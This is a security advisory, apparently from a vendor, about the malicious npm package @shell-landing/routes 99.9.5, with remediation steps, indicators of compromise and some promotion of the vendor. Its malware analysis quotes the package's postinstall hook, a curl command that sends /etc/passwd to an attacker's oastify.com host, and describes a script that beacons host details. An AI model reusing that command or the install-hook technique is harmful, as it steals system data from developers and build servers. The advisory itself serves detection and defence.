Which versions of @shell-landing/routes are malicious?

The following npm versions of @shell-landing/routes are flagged malicious: 99.9.5. Treat any of these as compromised.

How do I remediate @shell-landing/routes if I installed it?

@shell-landing/routes establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed @shell-landing/routes — how do I know if it already compromised me?

If @shell-landing/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @shell-landing/routes part of a known attack campaign?

Yes — @shell-landing/routes is associated with the IN-MAL-2026-005027, IN-MAL-2026-005028 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @shell-landing/routes across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shell-landing/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shell-landing/routes across your stack and pipelines.

Malicious package

@shell-landing/routesnpm

Malicious code in @shell-landing/routes (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5429

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @shell-landing/routes

What this malware does

On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain, embedding the installer's hostname in the request. The companion script scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and beacons each as an HTTP GET subdomain of *.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com. The package contains no library code, no README, and no main entry — version 99.9.5 with a pure-exfil payload under the @shell-landing scope is consistent with a dependency-confusion probe targeting an internal package name. Any developer or CI running npm install will leak host identity and /etc/passwd to attacker infrastructure.

Malicious versions

1 flagged

99.9.5

Indicators of compromise (SHA-256)

6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577

75491d01c9adcd8b4ea3535f0aed57f3763c03e1375e84b1a20cec842ae6d5b2

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @shell-landing/routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @shell-landing/routes across your stack and pipelines.
If you installed it — respond
@shell-landing/routes establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @shell-landing/routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @shell-landing/routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @shell-landing/routes on npm has been identified as a malicious package (version 99.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005027IN-MAL-2026-005028

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @shell-landing/routes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring